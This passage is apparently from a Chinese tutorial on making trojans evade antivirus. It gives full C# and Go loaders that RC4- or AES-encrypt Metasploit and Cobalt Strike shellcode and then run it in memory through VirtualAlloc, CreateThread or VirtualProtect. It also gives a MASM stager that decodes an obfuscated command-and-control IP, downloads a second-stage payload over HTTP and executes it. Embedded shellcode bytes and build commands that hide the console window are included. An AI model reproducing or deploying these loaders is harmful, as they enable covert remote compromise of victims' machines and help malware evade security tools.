将生成的shellcode替换new byte[]数组,用vs创建一个c#项目打开生成解决方案即可

文件混淆

文件混淆就是将shellcode进行一些加解密操作,从而绕过危险特征

首先使用加密脚本

替换成MSF生成的shellcodeusing System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices;  namespace Payload_Encrypt_Maker {     class Program     {         // 加密密钥,可以更改,加解密源码中保持KEY一致就行         static byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };         static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };         static byte[] payload = { 0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28, 0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49, 0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78, 0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x50,0x8b,0x48,0x18,0x01,0xd3, 0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac, 0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24, 0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c, 0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,  };    // 替换成MSF生成的shellcode          private static class Encryption_Class         {             public static string Encrypt(string key, string data)             {                 Encoding unicode = Encoding.Unicode;                  return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));             }              public static byte[] Encrypt(byte[] key, byte[] data)             {                 return EncryptOutput(key, data).ToArray();             }              private static byte[] EncryptInitalize(byte[] key)             {                 byte[] s = Enumerable.Range(0, 256)                   .Select(i => (byte)i)                   .ToArray();                  for (int i = 0, j = 0; i < 256; i++)                 {                     j = (j + key[i % key.Length] + s[i]) & 255;                      Swap(s, i, j);                 }                  return s;             }              private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)             {                 byte[] s = EncryptInitalize(key);                  int i = 0;                 int j = 0;                  return data.Select((b) =>                 {                     i = (i + 1) & 255;                     j = (j + s[i]) & 255;                      Swap(s, i, j);                      return (byte)(b ^ s[(s[i] + s[j]) & 255]);                 });             }              private static void Swap(byte[] s, int i, int j)             {                 byte c = s[i];                  s[i] = s[j];                 s[j] = c;             }         }         static void Main(string[] args)         {             byte[] result = Encryption_Class.Encrypt(KEY, payload);             int b = 0;             for (int i = 0; i < result.Length; i++)             {                 b++;                 if (i == result.Length + 1)                 { Console.Write(result[i].ToString()); }                 if (i != result.Length) { Console.Write(result[i].ToString() + ","); }             }         }     } } 

将payload替换成MSF生成的shellcode,key不用改

点击调试-》开始执行(不调试)

木马免杀

木马免杀

这时会弹窗生成加密后的shellcode

上线的时候使用解密脚本

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Threading; using System.Reflection; using System.Runtime.CompilerServices;  namespace NativePayload_Reverse_tcp {     public class Program     {         public static void Main()         {             Shellcode.Exec();         }      }      class Shellcode     {         public static void Exec()         {             string Payload_Encrypted;             Payload_Encrypted = "90,120,193,236,149,193,49,186,252,3,183,117,219,91,173,111,105,184,102,197,91,77,247,3,107,63,6,11,199,160,245,241,139,238,221,212,149,169,230,201,140,146,82,43,239,117,114,98,246,45,235,188,170,1,141,173,28,1,234,2,226,183,153,166,198,177,236,184,55,178,109,174,146,29,204,66,249,72,228,202,231,108,154,162,203,232,61,14,53,100,43,249,134,27,92,34,72,217,5,87,0,198,37,73,123,226,157,57,141,171,157,218,148,11,160,197,37,191,76,205,17,247,61,40,172,233,4,6,178,132,148,168,240,18,231,142,74,247,160,21,69,39,120,162,49,235,124,72,79,144,159,236,213,117,63,175,135,29,35,169,201,86,223,152,207,192,133,69,52,137,55,67,182,135,22,98,80,248,79,118,80,245,131,60,117,20,206,46,106,17,232,111,65,28,246,145,181,77,100,174,197,3,252,49,117,146,158,174,176,17,57,105,6,97,125,132,121,153,255,3,174,27,4,42,133,103,236,29,254,76,74,117,223,116,151,65,126,141,8,255,7,205,29,164,212,182,1,148,84,241,72,22,222,145,95,150,33,122,106,105,39,22,101,28,69,133,135,181,147,70,38,38,35,59,170,179,201,10,226,126,157,215,230,30,228,209,86,157,209,115,223,143,79,78,195,66,95,78,191,52,59,182,173,245,255,240,23,56,254,56,202,77,255,69,221,165,31,16,18,39,74,214,216,200,201,135,126,171,232,178,214,113,77,15,249,33,190,210,178,208,2,199,73,5,206,94,161,232,188,233,214,5,136,241";             string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');             byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];             for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)             {                 byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());                 _X_to_Bytes[i] = current;             }             // 解密密钥,可以更改,加解密源码中保持KEY一致就行             byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };             //byte[] KEY = { 0x33, 0x11, 0x33, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };             byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);             // 加载shellcode             IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);             Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);             CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);             Thread.Sleep(2000);         }          public static byte[] Decrypt(byte[] key, byte[] data)         {             return EncryptOutput(key, data).ToArray();         }         private static byte[] EncryptInitalize(byte[] key)         {             byte[] s = Enumerable.Range(0, 256)               .Select(i => (byte)i)               .ToArray();              for (int i = 0, j = 0; i < 256; i++)             {                 j = (j + key[i % key.Length] + s[i]) & 255;                 Swap(s, i, j);             }              return s;         }         private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)         {             byte[] s = EncryptInitalize(key);              int i = 0;             int j = 0;              return data.Select((b) =>             {                 i = (i + 1) & 255;                 j = (j + s[i]) & 255;                  Swap(s, i, j);                  return (byte)(b ^ s[(s[i] + s[j]) & 255]);             });         }         private static void Swap(byte[] s, int i, int j)         {             byte c = s[i];              s[i] = s[j];             s[j] = c;         }         [DllImport("kernel32.dll")]         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);         [DllImport("kernel32.dll")]         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);     } } 

将Payload_Encrypted替换为上面生成的加密数据,生成解决方案即可上线

Golang加载ShellCode

使用go脚本

package main  import ( 	"io/ioutil" 	"os" 	"syscall" 	"unsafe" )  const ( 	MEM_COMMIT             = 0x1000 	MEM_RESERVE            = 0x2000 	PAGE_EXECUTE_READWRITE = 0x40 )  var ( 	kernel32      = syscall.MustLoadDLL("kernel32.dll") 	ntdll         = syscall.MustLoadDLL("ntdll.dll") 	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc") 	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 	shellcode_buf = []byte{ 		0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xb8, 0x22, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x64, 0x51, 0x70, 0x38, 0x00, 0x55, 0x1d, 0xe1, 0x41, 0xaf, 0xe8, 0x9e, 0xd4, 0x95, 0x56, 0xd5, 0x42, 0x8f, 0xba, 0x24, 0x52, 0x63, 0xb5, 0x52, 0x13, 0xf9, 0x8e, 0x7f, 0xda, 0x74, 0x21, 0xbc, 0xa9, 0xc0, 0x13, 0xcf, 0x89, 0x39, 0x8a, 0x05, 0x0d, 0x4d, 0x08, 0x21, 0xf8, 0xb9, 0xae, 0xb2, 0x4b, 0xbf, 0xa0, 0x0d, 0x75, 0x2c, 0x69, 0xd4, 0x71, 0x12, 0x06, 0x41, 0x26, 0xac, 0xf8, 0x19, 0xa2, 0xf1, 0xf2, 0x3d, 0x60, 0x0c, 0xa1, 0x6f, 0x16, 0x78, 0x27, 0xe1, 0x5f, 0x88, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x29, 0x0d, 0x0a, 0x00, 0x4a, 0x74, 0xac, 0x77, 0xbf, 0xbd, 0x1b, 0xa8, 0xef, 0x7f, 0x85, 0xed, 0xb3, 0x0c, 0x30, 0xd3, 0x5f, 0x14, 0xfc, 0xc7, 0x52, 0x4a, 0x32, 0x0b, 0xca, 0x0a, 0x94, 0x75, 0xc0, 0x4a, 0x16, 0x77, 0x3c, 0x0f, 0x59, 0x29, 0x9b, 0x9a, 0x6b, 0x9c, 0x4a, 0xfc, 0x4a, 0x8f, 0xde, 0xf6, 0x6b, 0x4c, 0xd5, 0xa4, 0xab, 0xa5, 0xc4, 0x47, 0xb6, 0x4c, 0x4a, 0x3e, 0x98, 0x70, 0xc3, 0x23, 0x3b, 0xd8, 0x46, 0x4d, 0x62, 0x10, 0x47, 0xc4, 0xf9, 0x7c, 0x45, 0xd0, 0x5b, 0xc2, 0x63, 0xfc, 0xf9, 0x40, 0x7e, 0x67, 0xa5, 0x65, 0x8d, 0x58, 0x71, 0xe4, 0xdc, 0xab, 0x10, 0x94, 0xa1, 0xf7, 0x56, 0x40, 0x51, 0x27, 0x1e, 0x7e, 0xc7, 0x67, 0x44, 0x08, 0x84, 0x5f, 0xd6, 0xdf, 0x9b, 0x34, 0x4f, 0x88, 0x46, 0xcd, 0x01, 0xf3, 0x36, 0xe3, 0xb2, 0x74, 0x36, 0x73, 0x0d, 0x88, 0x44, 0x41, 0x6e, 0x06, 0x64, 0x78, 0xe2, 0xaa, 0x3e, 0xac, 0x43, 0x45, 0xe8, 0x17, 0x91, 0x6d, 0xd8, 0xe4, 0x2e, 0x4e, 0x8a, 0x4a, 0x41, 0x3d, 0x56, 0xf2, 0xfa, 0x52, 0x8e, 0x2f, 0xa3, 0x1f, 0x29, 0x48, 0x16, 0x10, 0xbe, 0x82, 0x7c, 0xdd, 0x55, 0xbf, 0xe2, 0xd6, 0x6b, 0x2c, 0x49, 0x3c, 0x5c, 0xe2, 0x71, 0x72, 0x5f, 0x06, 0x06, 0xb0, 0xe9, 0x5d, 0x91, 0x36, 0xe5, 0x06, 0x5d, 0xa2, 0x10, 0x57, 0x55, 0x02, 0x4e, 0xa9, 0x26, 0x8d, 0x15, 0x05, 0xc3, 0x5c, 0x5e, 0xdc, 0x6e, 0xc2, 0x31, 0x57, 0x25, 0xdb, 0xc5, 0x83, 0x67, 0xc3, 0xa3, 0xd5, 0x02, 0x28, 0x54, 0xfe, 0xe5, 0x09, 0x9a, 0xf9, 0x8c, 0x71, 0xb3, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x34, 0x37, 0x2e, 0x39, 0x34, 0x2e, 0x32, 0x33, 0x36, 0x2e, 0x31, 0x31, 0x37, 0x00, 0x00, 0x01, 0x86, 0xa0, 	} )  func checkErr(err error) { 	if err != nil { 		if err.Error() != "The operation completed successfully." { 			println(err.Error()) 			os.Exit(1) 		} 	} }  func main() { 	shellcode := shellcode_buf 	if len(os.Args) > 1 { 		shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) 		checkErr(err) 		shellcode = shellcodeFileData 	}  	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 	if addr == 0 { 		checkErr(err) 	} 	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 	checkErr(err) 	syscall.Syscall(addr, 0, 0, 0, 0) }  

将cs生成的shellcode放到记事本中将替换为0,

木马免杀

然后替换后的代码放置shellcode_buf数组中

使用

-运行1.go脚本 go run 1.go -编译1.go脚本 go build 1.go -没有弹窗的exe命令编译: go build -ldflags="-H windowsgui -w -s" 1.go 

编译成exe进行上线

分离式加载器

加载器分里其实就是将shellcode危险代码放在参数中去执行

首先cs先生成x64位的payload.c

木马免杀

然后使用脚本3.go

package main  import ( 	"bytes" 	"crypto/aes" 	"crypto/cipher" 	"encoding/base64" 	"encoding/hex" 	"fmt" 	"math/rand" 	"os" 	"strings" 	"time" )  //随机生成key,后面用来解密的 func key(l int) string { 	str := "0123456789abcdefghijklmnopqrstuvwxyz" 	bytes := []byte(str) 	result := []byte{} 	r := rand.New(rand.NewSource(time.Now().UnixNano())) 	for i := 0; i < l; i++ { 		result = append(result, bytes[r.Intn(len(bytes))]) 	} 	return string(result) }  //使用PKCS5进行填充用来 func PKCS5Padding(ciphertext []byte, blockSize int) []byte { 	padding := blockSize - len(ciphertext)%blockSize 	padtext := bytes.Repeat([]byte{byte(padding)}, padding) 	return append(ciphertext, padtext...) }  //进行aes加密 func AesEncrypt(origData, key []byte) ([]byte, error) { 	block, err := aes.NewCipher(key) 	if err != nil { 		return nil, err 	}  	blockSize := block.BlockSize() 	origData = PKCS5Padding(origData, blockSize) 	blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) 	crypted := make([]byte, len(origData)) 	blockMode.CryptBlocks(crypted, origData) 	return crypted, nil }  //主函数入口,对字符进行了处理 func main() { 	argsWithProg := os.Args 	if len(argsWithProg) < 2 { 		fmt.Println("usage : ", argsWithProg[0], " paylaod.c") 		return 	} 	confFile := os.Args[1] 	str2 := strings.Replace(confFile, "\x", "", -1) 	data, _ := hex.DecodeString(str2) 	key1 := key(16) 	fmt.Println("Key:", key1) 	var key []byte = []byte(key1) 	aes, _ := AesEncrypt(data, key) 	encoded := base64.StdEncoding.EncodeToString(aes) 	fmt.Println("Code:", encoded) }  

这个脚本会将shellcode进行aes编码,然后会生成一个key和加密后的代码

在Visual Studio Code中打开

木马免杀

运行代码,将生成的payload.c放置参数中

go run 3.go payload.c 

运行后会生成key和加密后的code

木马免杀

然后再使用3.1go脚本

package main  import ( 	"crypto/aes" 	"crypto/cipher" 	"encoding/base64" 	"os" 	"syscall" 	"unsafe" )  //这一块是定义一些东西去加载我们的shellcode var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")  func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { 	ret, _, _ := procVirtualProtect.Call( 		uintptr(lpAddress), 		uintptr(dwSize), 		uintptr(flNewProtect), 		uintptr(lpflOldProtect)) 	return ret > 0 }  //shellcode执行函数 func Run(sc []byte) { 	f := func() {} 	var oldfperms uint32 	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { 		panic("Call to VirtualProtect failed!") 	} 	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) 	var oldshellcodeperms uint32 	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { 		panic("Call to VirtualProtect failed!") 	} 	f() }  //同样为了保证我们的shellcode正常运行要进行PKCS5的操作 func PKCS5UnPadding(origData []byte) []byte { 	length := len(origData) 	unpadding := int(origData[length-1]) 	return origData[:(length - unpadding)] }  //经典的aes解密操作 func AesDecrypt(crypted, key []byte) ([]byte, error) { 	block, err := aes.NewCipher(key) 	if err != nil { 		return nil, err 	}  	blockSize := block.BlockSize() 	blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) 	origData := make([]byte, len(crypted)) 	blockMode.CryptBlocks(origData, crypted) 	origData = PKCS5UnPadding(origData) 	return origData, nil }  //运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode func main() { 	key1 := os.Args[1] 	payload1 := os.Args[2] 	encoded2, _ := base64.StdEncoding.DecodeString(payload1) 	var key []byte = []byte(key1) 	AES, _ := AesDecrypt(encoded2, key) 	Run(AES) }  

将key和加密后的code分别放在参数中运行

木马免杀

运行即可上线

木马免杀

编译汇编代码

参考链接:https://forum.butian.net/share/1536

先下载一个asm的执行器:masm32 http://www.masm32.com/

代码:

func5_param应该; win.asm .386 .MODEL flat .STACK .DATA Point0 db 4 dup(0)        ;GetProcAddress Point1 db 4 dup(0)        ;VirtualAlloc Point2 db 4 dup(0)        ; Point3 db 4 dup(0)        ; Point4 db 4 dup(0)        ;InternetOpenA Point5 db 4 dup(0)        ;InternetConnectA Point6 db 4 dup(0)        ;HttpOpenRequestA Point7 db 4 dup(0)        ;HttpSendRequestA Point8 db 4 dup(0)        ;InternetReadFile  Point0_dll db 4 dup(0)        ;kernel32.dll Point1_dll db 4 dup(0)        ;wininet.dll  Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h           ;wininet.dll  func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h       ;VirtualAlloc func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h         ;LoadLibraryA func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h      ;InternetOpenA func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile  func4_param db "aa" func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h func6_param0 db "HTTP/100",00h func6_param1 db "/5quA",00h func6_param2 db "GET",00  ;上面都是一些函数名,dll名,参数啥的,存在数据段  .CODE ASSUME FS:NOTHING                       ;指定FS,不然用FS+0x30找PEB会找不到 _START:     call Getkernel32DLL                 ;找kerner32.dll的地址     mov DWORD PTR [Point0_dll], ebx     ;上一个函数结束后kernel32的地址在     call Get_Function                   ;找到GetProcAddress的地址     mov DWORD PTR [Point0],edx          ;地址存入Point0     push offset DWORD PTR func3         ;压入混淆后的字符串     call Decode                         ;解码,正确的字符串会覆盖在原先的位置     push offset DWORD PTR Dll1     call Decode     mov eax,DWORD PTR [Point0_dll]      ;kernel32的地址存入eax     push offset DWORD PTR func3         ;压入函数名     push eax                            ;压入地址     call DWORD PTR [Point0]             ;调用GetProcAddress函数     push offset DWORD PTR Dll1          ;上面得到的是LoadLibraryA的地址,这时候eax是指向LoadLibraryA的函数指针,这里push wininet的字符串,下面直接call eax就可以加载wininet.dll     call eax            ;call LoadLibraryA       mov DWORD PTR [Point1_dll], eax         ;wininet地址存入Point1_dll中      push offset DWORD PTR func4                  call Decode     mov eax, DWORD PTR [Point1_dll]     push offset DWORD PTR func4     push eax     call DWORD PTR [Point0]     mov DWORD PTR [Point4], eax      push offset DWORD PTR func5     call Decode     mov eax, DWORD PTR [Point1_dll]     push offset DWORD PTR func5     push eax     call DWORD PTR [Point0]     mov DWORD PTR [Point5], eax      push offset DWORD PTR func6     call Decode     mov eax, DWORD PTR [Point1_dll]     push offset DWORD PTR func6     push eax     call DWORD PTR [Point0]     mov DWORD PTR [Point6], eax      push offset DWORD PTR func7     call Decode     mov eax, DWORD PTR [Point1_dll]     push offset DWORD PTR func7     push eax     call DWORD PTR [Point0]     mov DWORD PTR [Point7], eax      push offset DWORD PTR func1     call Decode     mov eax, DWORD PTR [Point0_dll]     push offset DWORD PTR func1     push eax     call DWORD PTR [Point0]     mov DWORD PTR [Point1], eax      push offset DWORD PTR func8     call Decode     mov eax, DWORD PTR [Point1_dll]     push offset DWORD PTR func8     push eax     call DWORD PTR [Point0]     mov DWORD PTR [Point8], eax      ;上面都是类似的操作,把字符串压入然后解密,得到的函数指针存入数据段中     push offset DWORD PTR func5_param           ;ip地址解密     call Decode      push 0     push 0     push 0     push 1     push offset DWORD PTR func4_param     call DWORD PTR [Point4]                 ;调用InternetOpenA      push 0     push 0     push 3     push 0     push 0     push 58h            ;这里是端口     push offset DWORD PTR func5_param     push eax     call DWORD PTR [Point5]                 ;InternetConnectA      push 0     push 4000000h     push 0     push 0     push offset DWORD PTR func6_param0     push offset DWORD PTR func6_param1     push offset DWORD PTR func6_param2     push eax     call DWORD PTR [Point6]                 ;HttpOpenRequestA     mov DWORD PTR [Point2],eax              ;将得到的句柄存入Point2中      push 0     push 0     push 0     push 0     push eax     call DWORD PTR [Point7]                 ;HttpSendRequestA      push 40h     push 1000h     push 400000h     push 0     call DWORD PTR [Point1]                 ;VirtualAlloc      push offset DWORD PTR Point3     push 400000h     push eax     mov edi,eax                             ;VirtualAlloc的地址存入edi     mov eax,DWORD PTR [Point2]     push eax     call DWORD PTR [Point8]                 ;InternetReadFile     push edi                                ;edi入栈,这时候存的是VirtualAlloc开辟的地址     ret                                     ;跳到VirtualAlloc开辟的地址执行  Getkernel32DLL:   xor ecx,ecx   mov eax,fs:[ecx+30h]   mov eax, [eax+0Ch]   mov esi, [eax+14h]   lodsd   xchg eax, esi   lodsd   mov ebx,[eax+10h]   ret  Get_Function:   mov edx,[ebx+3ch]   add edx,ebx   mov edx, [edx+78h]   add edx, ebx   mov esi, [edx+20h]   add esi, ebx   xor ecx,ecx   getfunc:inc ecx   lodsd   add eax,ebx   cmp DWORD PTR [eax], 50746547h   jnz getfunc   cmp DWORD PTR [eax+4], 41636f72h   jnz getfunc   mov esi, [edx+24h]   add esi, ebx   mov cx, [esi + ecx * 2]   dec ecx   mov esi, [edx+1ch]   add esi, ebx   mov edx, [esi + ecx * 4]   add edx, ebx   ret   Decode:   mov ebx,[esp+4]   call Strlen   x:mov AL, BYTE  PTR [ebx + ecx - 1]   inc AL   mov BYTE PTR [ebx + ecx - 1], AL   loop x   ret 4  Strlen:   xor ecx,ecx   mov esi,[esp+8]   s:lodsb   inc ecx   cmp AL,0   jnz s   dec ecx   ret  END _START 

通过文章看代码注释

木马免杀

得知func5_param应该是存放ip的变量

木马免杀

通过执行后门找到原文中回连的ip和端口

木马免杀

木马免杀

通过找规律发现30=1,2f=0,2d=.,32=3,33=4,31=2 依次内推

而我们的IP是192.168.3.131

推算出进制为30h,38h,31h,2dh,30h,35h,37h,2dh,32h,2dh,30h,32h,30h,00h

端口:82=52h

将上诉代码进行ip和端口的修改

然后更改我们cs的监听器

木马免杀

通过命令

编译为obj文件:ml /c /coff /Cp 1.asm 生成exe文件:link /subsystem:console /libpath:c:masm32lib 1.obj 

木马免杀

将生成好的exe双击运行即可上线

木马免杀

图片隐写

